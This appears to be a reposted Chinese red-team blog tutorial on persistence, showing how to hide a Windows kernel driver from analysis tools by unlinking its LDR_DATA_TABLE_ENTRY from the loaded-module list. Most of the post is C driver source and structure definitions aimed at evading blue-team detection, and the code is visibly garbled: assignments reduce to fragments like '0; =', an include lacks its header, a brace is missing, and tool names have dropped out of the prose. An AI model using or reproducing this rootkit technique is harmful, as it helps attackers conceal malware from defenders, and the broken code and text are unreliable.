前言
在做權(quán)限維持的時(shí)候,往往采用三環(huán)的技術(shù)顯得可能微不足道了。本節(jié)用內(nèi)核層的技術(shù)實(shí)現(xiàn)驅(qū)動(dòng)信息隱藏。
1.惡意驅(qū)動(dòng)文件查找
在普遍的紅藍(lán)對(duì)抗中,藍(lán)隊(duì)針對(duì)于底層的知識(shí)了解的少而又少,這里舉一個(gè)較為常見(jiàn)的例子..
藍(lán)隊(duì)可能使用等工具進(jìn)行分析可疑進(jìn)程和文件。
之后我們載入一個(gè)自己寫(xiě)的驅(qū)動(dòng)文件,看一下的情況,可以在本工具成功看到我們的驅(qū)動(dòng)信息。
2.驅(qū)動(dòng)斷鏈隱藏結(jié)構(gòu)
在Y結(jié)構(gòu)體中系統(tǒng)進(jìn)程隱藏工具,成員,這個(gè)成員把系統(tǒng)所有加載(可能是停止沒(méi)被卸載)已經(jīng)讀取到內(nèi)存中。
PDRIVER_OBJECT->PLDR_DATA_TABLE_ENTRY->InLoadOrderLinks
Y結(jié)構(gòu)體如下:
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;//這個(gè)成員把系統(tǒng)所有加載(可能是停止沒(méi)被卸載)已經(jīng)讀取到內(nèi)存中 我們關(guān)系第一個(gè) 我們要遍歷鏈表 雙鏈表 不管中間哪個(gè)節(jié)點(diǎn)都可以遍歷整個(gè)鏈表 本驅(qū)動(dòng)的驅(qū)動(dòng)對(duì)象就是一個(gè)節(jié)點(diǎn)
LIST_ENTRY InMemoryOrderLinks;//系統(tǒng)已經(jīng)啟動(dòng) 沒(méi)有被初始化 沒(méi)有調(diào)用DriverEntry這個(gè)歷程的時(shí)候 通過(guò)這個(gè)鏈表進(jìn)程串接起來(lái)
LIST_ENTRY InInitializationOrderLinks;//已經(jīng)調(diào)用DriverEntry這個(gè)函數(shù)的所有驅(qū)動(dòng)程序
PVOID DllBase;
PVOID EntryPoint;//驅(qū)動(dòng)的進(jìn)入點(diǎn) DriverEntry
ULONG SizeOfImage;
UNICODE_STRING FullDllName;//驅(qū)動(dòng)的滿路徑
UNICODE_STRING BaseDllName;//不帶路徑的驅(qū)動(dòng)名字
ULONG Flags;
USHORT LoadCount;
USHORT TlsIndex;
union {
LIST_ENTRY HashLinks;
struct {
PVOID SectionPointer;
ULONG CheckSum;
};
};
union {
struct {
ULONG TimeDateStamp;
};
struct {
PVOID LoadedImports;
};
};
LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
3.代碼分析實(shí)現(xiàn)
通過(guò)進(jìn)行獲取當(dāng)前驅(qū)動(dòng)信息,之后利用該節(jié)點(diǎn)即可。
代碼全部實(shí)現(xiàn)如下:
通過(guò)創(chuàng)建了一個(gè)線程,并在內(nèi)部實(shí)現(xiàn)了驅(qū)動(dòng)斷鏈。
#include
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;//這個(gè)成員把系統(tǒng)所有加載(可能是停止沒(méi)被卸載)已經(jīng)讀取到內(nèi)存中 我們關(guān)系第一個(gè) 我們要遍歷鏈表 雙鏈表 不管中間哪個(gè)節(jié)點(diǎn)都可以遍歷整個(gè)鏈表 本驅(qū)動(dòng)的驅(qū)動(dòng)對(duì)象就是一個(gè)節(jié)點(diǎn)
LIST_ENTRY InMemoryOrderLinks;//系統(tǒng)已經(jīng)啟動(dòng) 沒(méi)有被初始化 沒(méi)有調(diào)用DriverEntry這個(gè)歷程的時(shí)候 通過(guò)這個(gè)鏈表進(jìn)程串接起來(lái)
LIST_ENTRY InInitializationOrderLinks;//已經(jīng)調(diào)用DriverEntry這個(gè)函數(shù)的所有驅(qū)動(dòng)程序
PVOID DllBase;
PVOID EntryPoint;//驅(qū)動(dòng)的進(jìn)入點(diǎn) DriverEntry
ULONG SizeOfImage;
UNICODE_STRING FullDllName;//驅(qū)動(dòng)的滿路徑
UNICODE_STRING BaseDllName;//不帶路徑的驅(qū)動(dòng)名字
ULONG Flags;
USHORT LoadCount;
USHORT TlsIndex;
union {
LIST_ENTRY HashLinks;
struct {
PVOID SectionPointer;
ULONG CheckSum;
};
};
union {
struct {
ULONG TimeDateStamp;
};
struct {
PVOID LoadedImports;
};
};
LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
VOID Uploades(struct _DRIVER_OBJECT *DriverObject){
DbgPrint("%s\r\n",__FUNCTION__);
}
VOID Thread(PDRIVER_OBJECT next_driver){
//獲取第一個(gè)
PLDR_DATA_TABLE_ENTRY drivs = &((PLDR_DATA_TABLE_ENTRY)next_driver->DriverSection)->InLoadOrderLinks;
//進(jìn)行斷鏈隱藏
0; =
0; =
0; =
}
NTSTATUS DriverEntry(PDRIVER_OBJECT driver, PUNICODE_STRING reg_path)
{
Uploades; =
HANDLE hThread = NULL;
??PsCreateSystemThread(&hThread,?0,?NULL,?NULL,?NULL,?Thread,?driver);
return STATUS_SUCCESS;
}
之后用進(jìn)行查找(以字母順序進(jìn)行查找)系統(tǒng)進(jìn)程隱藏工具,可以看到最后一項(xiàng)是沒(méi)有yc.sys驅(qū)動(dòng)文件,隱藏成功!
微信搜索關(guān)注 "安全族" 長(zhǎng)期更新安全資料,掃一掃即可關(guān)注安全族!